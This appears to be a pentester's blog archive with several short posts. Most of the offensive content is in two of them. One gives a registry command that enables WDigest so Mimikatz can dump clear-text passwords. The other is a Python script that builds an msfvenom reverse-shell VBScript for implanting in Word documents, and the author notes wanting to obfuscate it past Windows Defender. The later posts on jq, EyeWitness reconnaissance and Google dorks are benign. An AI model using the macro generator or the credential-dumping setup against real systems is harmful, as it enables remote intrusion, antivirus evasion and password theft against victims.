Category Archives: Uncategorized

Deliberately Show Clear-text Credentials in Mimikatz Output

For some demonstration purpose, you might want to show the clear-text passwords from Mimikatz.

Step 1) Run the command below as Admin on victim machine


reg add HKLM\System\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0x00000001

Step 2) Restart the victim machine

Step 3) Run mimikatz, get clear-text credentials.

VBScript Python Script

# This Python script can be used to generate VBScript reverse shell to be implanted in Word documents
# Problem is, Windows defender detects the VBScript as malicious, so I need to find a way to obfuscate further

import subprocess

#Get input for IP Address and listening port
ipaddress = input("Input listening IP Address: ")
lport = input("Input listening port: ")

# Run msfvenom to get a reverse shell VBScript
command1 = [
    'msfvenom',
    '-p', 'windows/shell_reverse_tcp',
    f'LHOST={ipaddress}',
    f'LPORT={lport}',
    '-f', 'hta-psh', 
    '-o', '/tmp/rev.hta' 
]

subprocess.run(command1)

# Read the content of /tmp/rev.hta, cut it, and grep it
try:
    cat_command = subprocess.Popen(['cat', '/tmp/rev.hta'], stdout=subprocess.PIPE)
    cut_command = subprocess.Popen(['cut', '-d', '"', '-f', '2'], stdin=cat_command.stdout, stdout=subprocess.PIPE)
    grep_command = subprocess.Popen(['grep', 'powershell.exe -nop'], stdin=cut_command.stdout, stdout=subprocess.PIPE)
    
    # Get the output of the last command in the pipeline
    output = grep_command.communicate()[0].decode('utf-8')

except subprocess.CalledProcessError as e:
    print("Error running the commands:", e)

# Prepare /home/kali/Desktop/reverseshell.vbscript
try:
    with open('/home/kali/Desktop/reverseshell.vbscript', 'a') as g:
      g.write('Dim Str As String\n')
      print('\nreverseshell.vbscript successfully created on /home/kali/Desktop/')
except FileNotFoundError:
	print("Error at beginning of script")

# Cut the output of the vbscript to 50 characters per line
# Then input into /home/kali/Desktop/reverseshell.vbscript
n = 50
for i in range(0, len(output), n):
	try:
    	 with open('/home/kali/Desktop/reverseshell.vbscript', 'a') as f:
        	f.write("Str = Str + " + '"' + output[i:i+n] + '"' +'\n')

	except FileNotFoundError:
   	 print("The directory does not exist")

f.close()

# Close off reverseshell.vbscript
try:
    with open('/home/kali/Desktop/reverseshell.vbscript', 'a') as g:
      g.write('\nCreateObject("Wscript.Shell").Run Str')
      
except FileNotFoundError:
	print("Error at end of script")

g.close()

# Delete /tmp/rev.hta
command2 = ['rm', '/tmp/rev.hta']
subprocess.run(command2)

# Print completion status
print('\nScript complete, please cat /home/kali/Desktop/reverseshell.vbscript')

Using jq

jq is used to filter / manipulate JSON files

Install using sudo apt-get install jq

First, ensure that the JSON file starts with something like so:

To pull out specific content, use the following command

cat file.json | jq -r ‘.test[] | .a + “\n” + .ac + “\n” + .affected_hosts + “\n” + .affected_users + “\n”‘

If a field is a number that you want to convert to string

cat file.json | jq -r ‘.test[] | .a + “\n” + .ac + “\n” + .affected_hosts + “\n” + (.affected_users|tostring) + “\n”‘

Website Accessibility Hunting

  1. Download EyeWitness
  2. Get list of URLs via crt.sh
    • sudo dnsrecon –iw -d DOMAIN-t crt | grep “DOMAIN” | cut -d ‘ ‘ -f 4 | sort -u > list.txt
  3. Inspect list.txt for non-required entries, manually remove (to improve with SED next time)
  4. Use EyeWitness to scan sites from list.txt, then output to /home/kali/Desktop/DOMAIN/eyewitness/
    • ./EyeWitness.py –web -f /home/kali/Desktop/BugBounty/DOMAIN/hosts.txt –user-agent “vdptest” –prepend-https -d /home/kali/Desktop/BugBounty/DOMAIN/urls_eyewitness
  5. Press “Y” to view the report when prompted

Note if copy pasting commands:

Retype –iw, as — is combined into one long –

Retype ” and ‘ as they do not paste correctly

Google Dorks Tips

site: To force searches into that specific site

inurl: To return only results that have that text in the URL

filetype: to return only results with the specific filetype

-inurl: to remove results that have that text in the URL